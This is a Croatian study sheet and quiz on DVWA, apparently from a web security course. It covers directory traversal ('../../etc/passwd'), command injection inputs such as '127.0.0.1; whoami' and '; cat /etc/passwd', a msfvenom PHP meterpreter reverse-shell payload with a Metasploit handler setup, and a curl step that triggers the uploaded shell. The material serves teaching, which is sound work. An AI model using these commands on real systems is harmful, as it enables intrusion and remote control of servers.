DVWA i web napadi
DVWA (Damn Vulnerable Web Application) je namjerno ranjiva web aplikacija za trening i testiranje web sigurnosnih napada. Dostupna je na:
DVWA pristup
- URL:
http://10.1.16.3/DVWA(ili hostname) - Default login: admin / password
- Security Level: Low / Medium / High / Impossible
- Low = bez zaštite, idealno za učenje napada
Kategorije ranjivosti u DVWA
- File Inclusion (LFI / RFI)
- Command Injection
- File Upload
- SQL Injection
- XSS (Reflected i Stored)
- CSRF, Brute Force, itd.
Directory Traversal i Command Injection
Directory Traversal
- Napadač koristi
../sekvence za izlaz iz dozvoljenog direktorija - Primjer u URL-u:
?page=../../../etc/passwd - U DVWA File Inclusion:
../../etc/passwd - Prikazuje sistemske datoteke kojima aplikacija normalno ne bi smjela pristupiti
- Known i kao Path Traversal
Command Injection
- DVWA Ping polje: unesite IP + shell operator + naredba
- Primjer:
127.0.0.1; whoami - Rezultat:
www-data(Apache web server korisnik) - Alternativni operatori:
&&,|,`naredba` ; cat /etc/passwd— čitanje systemskih datoteka
File Upload i Metasploit
msfvenom — generiranje payloada
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=10.1.16.x LPORT=4444 \
-f raw -o shell.php -p php/meterpreter/reverse_tcp— PHP reverse shell payloadLHOST= IP napadačevog računala (listener)LPORT=4444— port na koji se PHP konektira-f raw— sirovi PHP format-o shell.php— spremi kao PHP datoteku
Metasploit listener i shell
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.1.16.x
set LPORT 4444
run - Nakon uploada shell.php u DVWA File Upload
- Pokreni shell: curl http://server/uploads/shell.php
- Meterpreter shell otvara se u msfconsole
shell→ interaktivni OS shell
1. Što je DVWA i za što se koristi?
2. Koje su zadane login vjerodajnice za DVWA?
3. Što je Directory Traversal napad?
../../etc/passwd ide dva direktorija gore od web root-a i čita /etc/passwd. Omogućuje čitanje sistemskih datoteka.4. U DVWA Command Injection, koji se korisnik vraća naredbom 127.0.0.1; whoami?
127.0.0.1; whoami izvršava whoami u kontekstu web servera koji je www-data — standardni Linux korisnik pod kojim radi Apache. Ovo znači napadač dobiva pristup s pravima www-data korisnika.5. Koji shell operator razdvaja dvije naredbe u Command Injection napadu?
&& (izvodi drugu samo ako prva uspije), || (samo ako prva ne uspije), | (pipe — prosljeđuje output).6. Koji msfvenom payload se koristi za PHP reverse shell?
php/meterpreter/reverse_tcp = Metasploit payload koji generira PHP skriptu (web shell) koja, kad se izvrši na web serveru, otvara TCP vezu natrag prema napadačevom listener-u i pruža Meterpreter shell.7. Što je LHOST parametar u msfvenom naredbi?
8. Koji Metasploit modul se koristi za primanje (catching) reverse shell veze?
exploit/multi/handler = Metasploit generički listener koji čeka dolazne reverse shell veze. Konfigurira se s odgovarajućim PAYLOAD, LHOST i LPORT parametrima. Nakon što payload na žrtvi uspostavi vezu, handler pruža Meterpreter sesiju.9. Koji je format (-f) za msfvenom PHP payload koji se uploadira na web server?
-f raw za PHP payload generira čisti PHP kod (bez dodatnog wrappera). Rezultantna datoteka (.php) je PHP skripta koja se može direktno uploadati i izvršiti na web serveru. ELF je Linux binary, EXE je Windows binary.10. Koje DVWA Security Level postavke su korektne od najslabije do najjače zaštite?
11. Koji sistemski fajl na Linuxu često napadači čitaju putem directory traversal napada?
/etc/passwd je klasična meta directory traversal napada — sadrži listu svih korisnika (username, UID, GID, home direktorij, shell). Lozinke su u /etc/shadow. /etc/passwd je čitljiv svim korisnicima, ali samo root može pisati.12. Što je Meterpreter?
shell, upload, download, keyscan_start.13. Kako se file upload ranjivost može iskoristiti za dobivanje command executiona na serveru?
14. Koji je tip ranjivosti kad web aplikacija prihvaća i izvršava OS naredbe koje korisnik unosi u polje za unos?